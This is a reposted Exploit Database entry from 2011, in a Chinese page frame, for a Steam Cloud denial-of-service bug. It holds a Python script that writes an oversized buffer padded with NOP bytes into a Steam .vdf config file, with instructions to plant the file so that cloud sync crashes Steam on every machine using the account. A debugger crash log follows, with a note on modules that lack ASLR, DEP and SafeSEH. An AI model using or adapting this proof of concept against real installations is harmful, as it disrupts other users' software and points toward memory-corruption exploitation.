Steam Software – Denial of Service

• Exploit Database
• 32 阅读

• 作者： david.r.klein
  日期： 2011-05-16
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17291/

• # Exploit Title: Steam Cloud Denial of Service 0day
  # Date: 06042011
  # Author: david.r.klein \x0agmail\x0acom
  # Software Link: http://steampowered.com
  # Version: Steam - Latest
  # Tested on: Windows XP/2003, Windows7
  # CVE : NA
  #
  # Notes: Copy file to C:\Program Files\Steam\userdata\<acctnums>\remote\sharedconfig.vdf
  # Run Steam.exe and let the program crash. Steam will Sync your config to your account before he crash occurs
  # Log in on a seperate computer with the same account and watch steam die. 
  #
  
  test = "A" * 32776
  test2= "BBBB" * 8
  test2+="ZZZZ" * 8
  test2+="\x90" * 32
  
  f = open('serverbrowser_ui.vdf', 'w') 
  f.write(test + test2)
  f.close()
  
  
  # (78c.bf0): Access violation - code c0000005 (first chance)
  # First chance exceptions are reported before any exception handling.
  # This exception may be expected and handled.
  # eax=02c915b0 ebx=000025d5 ecx=42424242 edx=01697b28 esi=02c915a8 edi=00eb0000
  # eip=7c91240b esp=0012d188 ebp=0012d1a0 iopl=0 nv up ei ng nz na pe cy
  # cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00210287
  # ntdll!RtlpInsertFreeBlock+0x10d:
  # 7c91240b 8901mov dword ptr [ecx],eaxds:0023:42424242=????????
  #
  # 0:000> d edx
  # 01697b2842 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42BBBBBBBBBBBBBBBB
  # 01697b385a 5a 5a 5a 5a 5a 5a 5a-5a 5a 5a 5a 5a 5a 5a 5aZZZZZZZZZZZZZZZZ
  # 01697b485a 5a 5a 5a 5a 5a 5a 5a-5a 5a 5a 5a 5a 5a 5a 5aZZZZZZZZZZZZZZZZ
  # 01697b5890 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90................
  # 01697b6890 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90................
  # 01697b7800 fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe................
  #
  #
  # None of the below have aslr \ dep \ safeseh 
  # ModLoad: 3a000000 3a363000 C:\Program Files\Steam\SteamUI.dll
  # ModLoad: 3f000000 3f0ad000 C:\Program Files\Steam\tier0_s.dll
  # ModLoad: 3f600000 3f66e000 C:\Program Files\Steam\vstdlib_s.dll
  # ModLoad: 10000000 100af000 C:\Program Files\Steam\crashhandler.dll
  # ModLoad: 3fa00000 3fa32000 C:\Program Files\Steam\bin\FileSystem_Steam.dll
  # ModLoad: 3f200000 3f2a2000 C:\Program Files\Steam\bin\vgui2.dll
  # ModLoad: 04120000 04e06000 C:\Program Files\Steam\bin\libcef.dll